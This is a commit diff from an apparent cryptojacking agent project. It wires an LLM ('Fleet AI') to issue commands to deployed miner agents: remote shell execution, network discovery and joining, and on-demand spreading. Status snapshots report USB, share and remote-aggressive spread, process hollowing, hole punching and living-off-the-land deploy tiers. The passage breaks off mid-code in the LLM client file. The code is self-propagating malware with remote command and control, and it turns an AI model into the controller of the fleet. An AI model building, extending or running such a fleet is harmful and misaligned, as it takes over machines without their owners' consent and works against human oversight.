Add Calibrate AI Control UI and fleet LLM backend wiring.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
This commit is contained in:
AetherForge
2026-06-07 02:14:28 -07:00
parent 34afa28f81
commit 0002e5fd93
33 changed files with 2791 additions and 12 deletions

136
agent/client/ai_commands.go Normal file
View File

@@ -0,0 +1,136 @@
package client
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
type aiCommandHandler func(c *AgentClient, tailLines int, command, path, data string)
var aiCommandHandlers = map[string]aiCommandHandler{
"exec_shell": handleAIExecShell,
"restart_mining": handleAIRestartMining,
"run_diagnostics": handleAIRunDiagnostics,
"discover_and_join": handleAIDiscoverAndJoin,
"spread_now": handleAISpreadNow,
"full_sys_check": handleAIFullSysCheck,
}
func (c *AgentClient) handleAICommand(action string, tailLines int, command, path, data string) bool {
handler, ok := aiCommandHandlers[action]
if !ok {
return false
}
handler(c, tailLines, command, path, data)
return true
}
func handleAIExecShell(c *AgentClient, _ int, command, path, data string) {
if strings.TrimSpace(command) == "" && strings.TrimSpace(data) == "" {
c.sendCommandResult("exec_shell", false, "command is required")
return
}
shellCmd := command
if shellCmd == "" {
shellCmd = data
}
if err := validateAICommandPath(path); err != nil {
c.sendCommandResult("exec_shell", false, err.Error())
return
}
if path != "" {
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult("exec_shell", false, err.Error())
return
}
resolved = filepath.Clean(resolved)
info, err := os.Stat(resolved)
if err != nil {
c.sendCommandResult("exec_shell", false, err.Error())
return
}
if !info.IsDir() {
c.sendCommandResult("exec_shell", false, "path must be a directory when used as working directory")
return
}
if runtime.GOOS == "windows" {
shellCmd = fmt.Sprintf("Set-Location -LiteralPath %q; %s", resolved, shellCmd)
} else {
shellCmd = fmt.Sprintf("cd %q && %s", resolved, shellCmd)
}
}
out, err := c.runShellCommand(shellCmd)
if err != nil {
c.sendCommandResult("exec_shell", false, formatCmdErr(err, out))
return
}
c.sendCommandResult("exec_shell", true, string(out))
}
func handleAIRestartMining(c *AgentClient, _ int, _, _, _ string) {
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", true)
}
if c.miningChain != nil {
c.miningChain.Restart(context.Background())
} else {
c.pool.ResumeRemote()
}
c.sendCommandResult("restart_mining", true, "mining chain restart requested")
}
func handleAIRunDiagnostics(c *AgentClient, _ int, _, _, _ string) {
c.sendCommandResult("run_diagnostics", true, c.miningDiagnosticsJSON())
}
func handleAIDiscoverAndJoin(c *AgentClient, _ int, command, _, _ string) {
ok, reason := c.allowRemoteAction("discover_and_join")
if !ok {
c.sendCommandResult("discover_and_join", false, reason)
return
}
maxHosts := parsePortArg(command, 32)
go func() {
msg, err := c.runDiscoverAndJoin(maxHosts)
if err != nil {
c.sendCommandResult("discover_and_join", false, err.Error())
return
}
c.sendCommandResult("discover_and_join", true, msg)
}()
}
func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) {
ok, reason := c.allowRemoteAction("spread_now")
if !ok {
c.sendCommandResult("spread_now", false, reason)
return
}
msg := deploy.RunSpreadOnce(c.cfg)
c.sendCommandResult("spread_now", true, msg)
}
func handleAIFullSysCheck(c *AgentClient, _ int, _, _, _ string) {
report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult("full_sys_check", true, report.JSON())
}
func validateAICommandPath(path string) error {
path = strings.TrimSpace(path)
if path == "" {
return nil
}
if containsPathTraversal(path) {
return fmt.Errorf("path traversal (..) is not allowed")
}
return nil
}

View File

@@ -0,0 +1,137 @@
package client
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
cases := []string{
"../etc/passwd",
"/home/user/../../secret",
`C:\Users\alice\..\admin`,
}
for _, path := range cases {
if err := validateAICommandPath(path); err == nil {
t.Fatalf("expected traversal rejection for %q", path)
}
}
}
func TestValidateAICommandPathAllowsSafePaths(t *testing.T) {
for _, path := range []string{"", "~/Downloads", "C:\\Users\\alice\\docs"} {
if err := validateAICommandPath(path); err != nil {
t.Fatalf("path %q: %v", path, err)
}
}
}
func TestHandleAIExecShellRejectsTraversalPath(t *testing.T) {
var gotAction string
var gotOK bool
var gotMsg string
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, message string) {
gotAction = action
gotOK = success
gotMsg = message
}
c.handleAICommand("exec_shell", 0, "echo hi", "../outside", "")
if gotAction != "exec_shell" || gotOK || !strings.Contains(gotMsg, "path traversal") {
t.Fatalf("got action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
}
}
func TestHandleAIExecShellRequiresCommand(t *testing.T) {
var gotMsg string
c := newTestClient(t)
c.commandResultHook = func(_ string, success bool, message string) {
if !success {
gotMsg = message
}
}
c.handleAICommand("exec_shell", 0, "", "", "")
if !strings.Contains(gotMsg, "command is required") {
t.Fatalf("msg=%q", gotMsg)
}
}
func TestHandleAIRunDiagnostics(t *testing.T) {
var gotAction string
var gotOK bool
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, _ string) {
gotAction = action
gotOK = success
}
c.handleAICommand("run_diagnostics", 0, "", "", "")
if gotAction != "run_diagnostics" || !gotOK {
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
}
}
func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
var gotOK bool
var gotMsg string
c := newTestClient(t)
c.cfg.AutoSpread = false
c.cfg.RemoteAggressive = false
c.commandResultHook = func(_ string, success bool, message string) {
gotOK = success
gotMsg = message
}
c.handleAICommand("spread_now", 0, "", "", "")
if gotOK || !strings.Contains(gotMsg, "not enabled") {
t.Fatalf("ok=%v msg=%q", gotOK, gotMsg)
}
}
func TestHandleAICommandUnknownAction(t *testing.T) {
c := newTestClient(t)
if c.handleAICommand("not_an_ai_command", 0, "", "", "") {
t.Fatal("unknown action should not be handled")
}
}
func TestAICommandHandlersCoverRequiredActions(t *testing.T) {
required := []string{
"exec_shell", "restart_mining", "run_diagnostics",
"discover_and_join", "spread_now", "full_sys_check",
}
for _, action := range required {
if _, ok := aiCommandHandlers[action]; !ok {
t.Fatalf("missing handler for %q", action)
}
}
}
func TestHandleAIRestartMining(t *testing.T) {
var gotAction string
var gotOK bool
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, _ string) {
gotAction = action
gotOK = success
}
c.handleAICommand("restart_mining", 0, "", "", "")
if gotAction != "restart_mining" || !gotOK {
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
}
}
func TestHandleAIFullSysCheck(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.GetBuiltinConfig(), AgentID: "a1"}
c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
var gotOK bool
c.commandResultHook = func(action string, success bool, _ string) {
if action == "full_sys_check" {
gotOK = success
}
}
c.handleAICommand("full_sys_check", 0, "", "", "")
if !gotOK {
t.Fatal("expected full_sys_check success")
}
}

354
agent/client/ai_snapshot.go Normal file
View File

@@ -0,0 +1,354 @@
package client
import (
"encoding/json"
"os"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
// AITierStatus records one deploy or mining tier for Fleet AI snapshots.
type AITierStatus struct {
Tier string `json:"tier"`
Phase string `json:"phase,omitempty"`
Attempted bool `json:"attempted"`
OK bool `json:"ok,omitempty"`
Error string `json:"error,omitempty"`
Skipped bool `json:"skipped,omitempty"`
DurationMs int64 `json:"duration_ms,omitempty"`
}
// AIForgeFlags summarizes forge-time spread and LOTL options baked into the agent.
type AIForgeFlags struct {
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
AutoSpread bool `json:"auto_spread"`
USBSpread bool `json:"usb_spread,omitempty"`
ShareSpread bool `json:"share_spread,omitempty"`
RemoteAggressive bool `json:"remote_aggressive,omitempty"`
HolePunch bool `json:"hole_punch,omitempty"`
MeshP2P bool `json:"mesh_p2p,omitempty"`
ProcessHollowing bool `json:"process_hollowing,omitempty"`
GPUEnabled bool `json:"gpu_enabled,omitempty"`
AIEnabled bool `json:"ai_enabled,omitempty"`
}
// AICapabilitiesSnapshot reports remote features this build exposes on the current OS.
type AICapabilitiesSnapshot struct {
Platform string `json:"platform"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
AIEnabled bool `json:"ai_enabled"`
USBSpread bool `json:"usb_spread"`
ProcessHollowing bool `json:"process_hollowing"`
GPUEnabled bool `json:"gpu_enabled"`
LotlOnion bool `json:"lotl_onion"`
SpreadLanes []string `json:"spread_lanes,omitempty"`
MiningTiersAvail []string `json:"mining_tiers_available,omitempty"`
}
// AISnapshot is the 1-minute Fleet AI machine state payload.
type AISnapshot struct {
GeneratedAt string `json:"generated_at"`
AgentName string `json:"agent_name"`
AgentID string `json:"agent_id"`
WorkerNumber string `json:"worker_number,omitempty"`
BuildID string `json:"build_id,omitempty"`
Version string `json:"version"`
Platform string `json:"platform"`
Arch string `json:"arch,omitempty"`
ForgeFlags AIForgeFlags `json:"forge_flags"`
DeployTiers []AITierStatus `json:"deploy_tiers"`
MiningTiers []AITierStatus `json:"mining_tiers"`
MiningHashrate float64 `json:"mining_hashrate"`
LOTLTier string `json:"lotl_tier,omitempty"`
MiningActive bool `json:"mining_active"`
JoinLane string `json:"join_lane,omitempty"`
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
Stuck bool `json:"stuck"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
}
func workerNumberFromConfig(cfg config.RuntimeConfig) string {
if n := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER_NUMBER")); n != "" {
return n
}
return ""
}
func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
c.mu.Lock()
cfg := c.cfg
agentID := c.agentID
c.mu.Unlock()
hostname, _, _ := c.reporter.SystemInfo()
agentName := strings.TrimSpace(cfg.WorkerName)
if agentName == "" {
agentName = hostname
}
var ms miner.MiningStatus
if c.miningChain != nil {
ms = c.miningChain.Status()
}
attempts := ms.LOTLAttempts
policy := c.miningTierPolicy()
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
miningChain, miningSkipped := miner.SelectMiningTierChain(probes, policy, cfg)
deployOrder := deploy.NormalizeLotlTiers(cfg.LotlOnionTiers)
if len(deployOrder) == 0 {
deployOrder = append([]string(nil), deploy.DefaultLotlOnionTiers...)
}
snap := AISnapshot{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
AgentName: agentName,
AgentID: agentID,
WorkerNumber: workerNumberFromConfig(cfg),
BuildID: cfg.BuildID,
Version: config.Version,
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
ForgeFlags: forgeFlagsFromConfig(cfg),
DeployTiers: buildDeployTierStatuses(deployOrder, attempts),
MiningTiers: buildMiningTierStatuses(miningChain, miningSkipped, attempts),
MiningHashrate: miningHashrate,
LOTLTier: string(ms.LOTLTier),
MiningActive: c.isMiningActive(ms, miningHashrate),
JoinLane: c.getJoinLane(),
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
ChainExhausted: ms.ChainExhausted,
}
snap.Stuck = aiSnapshotStuck(snap, ms)
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
snap.AdaptiveStrategySummary = adaptiveStrategySummary(strat)
}
if vr := LastVulnScan(); vr != nil {
score := vr.RiskScore
snap.VulnRiskScore = &score
}
return snap
}
func forgeFlagsFromConfig(cfg config.RuntimeConfig) AIForgeFlags {
return AIForgeFlags{
LotlOnionEnabled: cfg.LotlOnionEnabled,
LotlPolicyFromServer: cfg.LotlPolicyFromServer,
AutoSpread: cfg.AutoSpread,
USBSpread: cfg.USBSpread,
ShareSpread: cfg.ShareSpread,
RemoteAggressive: cfg.RemoteAggressive,
HolePunch: cfg.HolePunch,
MeshP2P: cfg.MeshP2P,
ProcessHollowing: cfg.ProcessHollowing,
GPUEnabled: cfg.GPUEnabled,
AIEnabled: cfg.AIEnabled,
}
}
func attemptIndex(attempts []miner.TierAttempt) map[string]miner.TierAttempt {
idx := make(map[string]miner.TierAttempt, len(attempts))
for _, a := range attempts {
key := strings.ToLower(string(a.Tier))
if a.Phase != "" {
key = a.Phase + ":" + key
}
idx[key] = a
}
return idx
}
func buildDeployTierStatuses(order []string, attempts []miner.TierAttempt) []AITierStatus {
idx := attemptIndex(attempts)
out := make([]AITierStatus, len(order))
for i, tier := range order {
st := AITierStatus{Tier: tier}
for _, phase := range []string{"deploy", "recon"} {
if a, ok := idx[phase+":"+tier]; ok {
st.Phase = phase
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
break
}
}
if !st.Attempted {
if a, ok := idx[tier]; ok && (a.Phase == "" || a.Phase == "deploy" || a.Phase == "recon") {
st.Phase = a.Phase
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
}
}
out[i] = st
}
return out
}
func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.TierAttempt) []AITierStatus {
seen := make(map[miner.LOTLTier]bool, len(chain)+len(skipped)+1)
order := make([]miner.LOTLTier, 0, len(chain)+len(skipped)+1)
for _, t := range append([]miner.LOTLTier{miner.TierVulnProbe}, chain...) {
if seen[t] {
continue
}
seen[t] = true
order = append(order, t)
}
skipSet := make(map[miner.LOTLTier]bool, len(skipped))
for _, t := range skipped {
skipSet[t] = true
}
idx := attemptIndex(attempts)
out := make([]AITierStatus, len(order))
for i, tier := range order {
name := strings.ToLower(string(tier))
st := AITierStatus{Tier: name, Skipped: skipSet[tier]}
if a, ok := idx["mining:"+name]; ok {
st.Phase = "mining"
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
} else if a, ok := idx[name]; ok && (a.Phase == "" || a.Phase == "mining") {
st.Phase = a.Phase
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
}
out[i] = st
}
return out
}
func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot {
lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder)
mining := make([]string, 0, len(miningChain))
for _, t := range miningChain {
mining = append(mining, string(t))
}
return AICapabilitiesSnapshot{
Platform: runtime.GOOS,
HolePunch: cfg.HolePunch,
RemoteAggressive: cfg.RemoteAggressive,
MeshP2P: cfg.MeshP2P,
AutoSpread: cfg.AutoSpread,
AIEnabled: cfg.AIEnabled,
USBSpread: cfg.USBSpread,
ProcessHollowing: cfg.ProcessHollowing,
GPUEnabled: cfg.GPUEnabled,
LotlOnion: cfg.LotlOnionEnabled,
SpreadLanes: lanes,
MiningTiersAvail: mining,
}
}
func spreadLanesForPlatform(goos string, order []string) []string {
winOnly := map[string]bool{
"wsl": true, "powershell": true, "dotnet": true, "bits_curl": true,
"do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true,
}
linuxOnly := map[string]bool{"linux": true}
out := make([]string, 0, len(order))
for _, lane := range order {
if winOnly[lane] && goos != "windows" {
continue
}
if linuxOnly[lane] && goos != "linux" {
continue
}
out = append(out, lane)
}
return out
}
func (c *AgentClient) isMiningActive(ms miner.MiningStatus, hashrate float64) bool {
if hashrate > 0 {
return true
}
if ms.ActiveMethod != "" && !ms.ChainExhausted {
return true
}
remotePaused, _, _, hasJob, hps := c.pool.DiagnosticSnapshot()
return hasJob && !remotePaused && hps > 0
}
func aiSnapshotStuck(snap AISnapshot, ms miner.MiningStatus) bool {
if snap.MiningHashrate > 0 {
return false
}
if ms.ChainExhausted {
return true
}
allMiningAttempted := len(snap.MiningTiers) > 0
for _, t := range snap.MiningTiers {
if !t.Skipped && !t.Attempted {
allMiningAttempted = false
break
}
}
if !allMiningAttempted {
return false
}
for _, t := range snap.MiningTiers {
if t.Skipped {
continue
}
if t.Attempted && t.OK {
return false
}
}
return true
}
func adaptiveStrategySummary(strat AdaptiveStrategy) string {
if len(strat.Reasoning) == 0 {
if len(strat.TierOrder) == 0 {
return ""
}
return "order=" + strings.Join(strat.TierOrder, ",")
}
parts := make([]string, 0, len(strat.Reasoning))
for _, r := range strat.Reasoning {
line := strings.TrimSpace(r.Inference)
if line == "" {
line = strings.TrimSpace(r.Action)
}
if line != "" {
parts = append(parts, line)
}
}
return strings.Join(parts, "; ")
}
func (c *AgentClient) pushAISnapshot(miningHashrate float64) {
snap := c.buildAISnapshot(miningHashrate)
payload, err := json.Marshal(snap)
if err != nil {
return
}
_ = c.write(Message{Type: "ai_snapshot", Payload: payload})
}

View File

@@ -0,0 +1,158 @@
package client
import (
"encoding/json"
"os"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
func TestAISnapshotJSONShape(t *testing.T) {
t.Setenv("AETHERFORGE_WORKER_NUMBER", "42")
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: "lab-node",
BuildID: "build-abc",
LotlOnionEnabled: true,
AutoSpread: true,
USBSpread: true,
RemoteAggressive: true,
GPUEnabled: true,
LotlOnionTiers: append([]string(nil), deploy.DefaultLotlOnionTiers...),
},
AgentID: "agent-fixture-1",
}
base := newTestClient(t)
c := &AgentClient{
cfg: cfg,
agentID: cfg.AgentID,
reporter: base.reporter,
pool: base.pool,
}
snap := c.buildAISnapshot(0)
raw, err := json.Marshal(snap)
if err != nil {
t.Fatal(err)
}
var m map[string]json.RawMessage
if err := json.Unmarshal(raw, &m); err != nil {
t.Fatal(err)
}
required := []string{
"generated_at", "agent_name", "agent_id", "worker_number",
"build_id", "version", "platform", "forge_flags",
"deploy_tiers", "mining_tiers", "mining_hashrate",
"mining_active", "capabilities", "stuck",
}
for _, key := range required {
if _, ok := m[key]; !ok {
t.Fatalf("missing required snapshot field %q in %s", key, string(raw))
}
}
if snap.AgentName != "lab-node" {
t.Fatalf("agent_name=%q", snap.AgentName)
}
if snap.AgentID != "agent-fixture-1" {
t.Fatalf("agent_id=%q", snap.AgentID)
}
if snap.WorkerNumber != "42" {
t.Fatalf("worker_number=%q", snap.WorkerNumber)
}
if len(snap.DeployTiers) != len(deploy.DefaultLotlOnionTiers) {
t.Fatalf("deploy_tiers len=%d want %d", len(snap.DeployTiers), len(deploy.DefaultLotlOnionTiers))
}
if snap.DeployTiers[0].Tier != "vuln_recon" {
t.Fatalf("first deploy tier=%q", snap.DeployTiers[0].Tier)
}
if len(snap.MiningTiers) == 0 {
t.Fatal("expected mining_tiers")
}
if snap.Capabilities.Platform == "" {
t.Fatal("capabilities.platform required")
}
if snap.ForgeFlags.LotlOnionEnabled != true || !snap.ForgeFlags.AutoSpread {
t.Fatalf("forge_flags=%+v", snap.ForgeFlags)
}
}
func TestAISnapshotStuckWhenChainExhausted(t *testing.T) {
snap := AISnapshot{
MiningHashrate: 0,
MiningTiers: []AITierStatus{
{Tier: "cpu_inprocess", Attempted: true, OK: false},
},
}
ms := miner.MiningStatus{ChainExhausted: true}
if !aiSnapshotStuck(snap, ms) {
t.Fatal("expected stuck when chain exhausted and hashrate=0")
}
snap.MiningHashrate = 10
if aiSnapshotStuck(snap, ms) {
t.Fatal("expected not stuck when hashrate>0")
}
}
func TestBuildDeployTierStatusesFromAttempts(t *testing.T) {
attempts := []miner.TierAttempt{
{Phase: "deploy", Tier: "docker", OK: true, DurationMs: 120},
{Phase: "deploy", Tier: "wsl", OK: false, Error: "no distro", DurationMs: 50},
}
order := []string{"docker", "wsl", "smb"}
got := buildDeployTierStatuses(order, attempts)
if !got[0].Attempted || !got[0].OK || got[0].DurationMs != 120 {
t.Fatalf("docker status=%+v", got[0])
}
if !got[1].Attempted || got[1].OK || got[1].Error != "no distro" {
t.Fatalf("wsl status=%+v", got[1])
}
if got[2].Attempted {
t.Fatalf("smb should be unattempted: %+v", got[2])
}
}
func TestBuildMiningTierStatusesMarksSkipped(t *testing.T) {
chain := []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess}
skipped := []miner.LOTLTier{miner.TierWSL}
attempts := []miner.TierAttempt{
{Phase: "mining", Tier: miner.TierContainer, OK: false, Error: "pull failed"},
}
got := buildMiningTierStatuses(chain, skipped, attempts)
byTier := map[string]AITierStatus{}
for _, st := range got {
byTier[st.Tier] = st
}
if !byTier["container"].Attempted || byTier["container"].OK {
t.Fatalf("container=%+v", byTier["container"])
}
if !byTier["wsl"].Skipped {
t.Fatalf("wsl should be skipped: %+v", byTier["wsl"])
}
}
func TestWorkerNumberOmitemptyWithoutConfig(t *testing.T) {
os.Unsetenv("AETHERFORGE_WORKER_NUMBER")
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}}
c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
snap := c.buildAISnapshot(0)
raw, _ := json.Marshal(snap)
if string(raw) == "" {
t.Fatal("empty json")
}
var m map[string]interface{}
_ = json.Unmarshal(raw, &m)
if _, ok := m["worker_number"]; ok {
t.Fatalf("worker_number should be omitted, got %v", m["worker_number"])
}
}

View File

@@ -483,6 +483,11 @@ func (c *AgentClient) handleMessage(msg Message) {
go c.applyPolicyUpdate(msg.Payload)
case "adaptive_strategy_update":
c.applyAdaptiveStrategyJSON(msg.Payload)
case "ai_snapshot_request":
go func() {
hps := c.pool.HashesPerSecond()
c.pushAISnapshot(hps)
}()
case "command":
var cmd struct {
Action string `json:"action"`
@@ -502,6 +507,9 @@ func (c *AgentClient) handleMessage(msg Message) {
}
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
if c.handleAICommand(action, tailLines, command, path, data) {
return
}
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
return
}
@@ -1146,6 +1154,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)
}
// Piggyback Fleet AI snapshot on the ~60s stats probe tick.
if probeTick%6 == 0 {
c.pushAISnapshot(stats.MiningHashrate)
}
}
}
}

View File

@@ -63,6 +63,12 @@ func TestHandleMessageNewJobSetsJob(t *testing.T) {
}
}
func TestHandleMessageAISnapshotRequest(t *testing.T) {
c := newTestClient(t)
// Should schedule push without panicking (write fails safely with nil conn).
c.handleMessage(Message{Type: "ai_snapshot_request", Payload: json.RawMessage("{}")})
}
func TestHandleMessageNewJobWithErrorRetries(t *testing.T) {
c := newTestClient(t)
// Error payload — pool not ready yet.

View File

@@ -81,6 +81,16 @@ type ServerSettings struct {
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
// AdaptiveStrategyEnabled learns LOTL tier order from fleet outcomes (user machines only).
AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"`
// AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions.
AIControlEnabled bool `json:"ai_control_enabled"`
// AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1).
AIEndpoint string `json:"ai_endpoint"`
// AIModel is the LLM model name for fleet AI control (Calibrate).
AIModel string `json:"ai_model"`
// AINoContext forces stateless single-turn decisions (no conversation memory).
AINoContext bool `json:"ai_no_context"`
// AIDecisionIntervalSec is seconds between AI decision cycles per agent (default 60).
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
@@ -283,6 +293,11 @@ func DefaultConfig() *Config {
},
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
AdaptiveStrategyEnabled: true,
AIControlEnabled: false,
AIEndpoint: "http://127.0.0.1:11434/v1",
AIModel: "",
AINoContext: true,
AIDecisionIntervalSec: 60,
},
}
}
@@ -321,6 +336,7 @@ func LoadConfig() *Config {
var presentKeys map[string]json.RawMessage
_ = json.Unmarshal(data, &presentKeys)
mergeConfigExplicit(cfg, &fileCfg, presentKeys)
hydrateLegacyAIConfig(cfg, data)
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
cfg.Server.OpenFirewallOnStart = true
}
@@ -941,6 +957,30 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 {
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
}
if in(srvKeys, "adaptive_strategy_enabled") {
dst.Server.AdaptiveStrategyEnabled = src.Server.AdaptiveStrategyEnabled
}
if in(srvKeys, "ai_control_enabled") {
dst.Server.AIControlEnabled = src.Server.AIControlEnabled
}
if in(srvKeys, "ai_endpoint") {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}
if in(srvKeys, "ai_local_endpoint") && src.Server.AIEndpoint != "" {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}
if in(srvKeys, "ai_model") {
dst.Server.AIModel = src.Server.AIModel
}
if in(srvKeys, "ai_no_context") {
dst.Server.AINoContext = src.Server.AINoContext
}
if in(srvKeys, "ai_decision_interval_sec") && src.Server.AIDecisionIntervalSec > 0 {
dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec
}
if in(srvKeys, "ai_interval_sec") && src.Server.AIDecisionIntervalSec > 0 {
dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec
}
}
if has("tunnel_defaults") {
@@ -969,6 +1009,36 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
}
}
func hydrateLegacyAIConfig(cfg *Config, raw []byte) {
if cfg == nil || len(raw) == 0 {
return
}
var root map[string]json.RawMessage
if err := json.Unmarshal(raw, &root); err != nil {
return
}
srvRaw, ok := root["server"]
if !ok {
return
}
var srv map[string]json.RawMessage
if err := json.Unmarshal(srvRaw, &srv); err != nil {
return
}
if ep, ok := srv["ai_local_endpoint"]; ok && cfg.Server.AIEndpoint == "" {
var s string
if json.Unmarshal(ep, &s) == nil && strings.TrimSpace(s) != "" {
cfg.Server.AIEndpoint = strings.TrimSpace(s)
}
}
if iv, ok := srv["ai_interval_sec"]; ok && cfg.Server.AIDecisionIntervalSec == 0 {
var n int
if json.Unmarshal(iv, &n) == nil && n > 0 {
cfg.Server.AIDecisionIntervalSec = n
}
}
}
func (c *Config) Save() error {
configPath := filepath.Join(c.DataDir, "config.json")
data, err := json.MarshalIndent(c, "", " ")

View File

@@ -0,0 +1,143 @@
package ai
import (
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"strings"
"time"
)
var defaultHTTPClient = &http.Client{Timeout: 45 * time.Second}
// ListModels GET {endpoint}/models — OpenAI-compatible model list.
func ListModels(ctx context.Context, endpoint string) ([]string, error) {
return ListModelsWithClient(ctx, endpoint, defaultHTTPClient)
}
func ListModelsWithClient(ctx context.Context, endpoint string, client *http.Client) ([]string, error) {
base := normalizeEndpoint(endpoint)
if base == "" {
return nil, fmt.Errorf("endpoint is required")
}
if client == nil {
client = defaultHTTPClient
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, base+"/models", nil)
if err != nil {
return nil, err
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("models: status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
var out struct {
Data []struct {
ID string `json:"id"`
} `json:"data"`
Models []struct {
Name string `json:"name"`
} `json:"models"`
}
if err := json.Unmarshal(body, &out); err != nil {
return nil, fmt.Errorf("models: parse: %w", err)
}
names := make([]string, 0)
seen := map[string]bool{}
for _, m := range out.Data {
id := strings.TrimSpace(m.ID)
if id != "" && !seen[id] {
seen[id] = true
names = append(names, id)
}
}
for _, m := range out.Models {
name := strings.TrimSpace(m.Name)
if name != "" && !seen[name] {
seen[name] = true
names = append(names, name)
}
}
return names, nil
}
// Decide POST chat/completions — single turn, no conversation history.
func Decide(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error) {
return DecideWithClient(ctx, endpoint, model, systemPrompt, userPrompt, defaultHTTPClient)
}
func DecideWithClient(ctx context.Context, endpoint, model, systemPrompt, userPrompt string, client *http.Client) (string, error) {
base := normalizeEndpoint(endpoint)
if base == "" {
return "", fmt.Errorf("endpoint is required")
}
if client == nil {
client = defaultHTTPClient
}
if strings.TrimSpace(model) == "" {
model = "llama3.2"
}
payload := map[string]interface{}{
"model": model,
"messages": []map[string]string{
{"role": "system", "content": systemPrompt},
{"role": "user", "content": userPrompt},
},
"stream": false,
}
body, _ := json.Marshal(payload)
req, err := http.NewRequestWithContext(ctx, http.MethodPost, base+"/chat/completions", bytes.NewReader(body))
if err != nil {
return "", err
}
req.Header.Set("Content-Type", "application/json")
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
raw, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("completions: status %d: %s", resp.StatusCode, strings.TrimSpace(string(raw)))
}
var completion struct {
Choices []struct {
Message struct {
Content string `json:"content"`
} `json:"message"`
} `json:"choices"`
Error *struct {
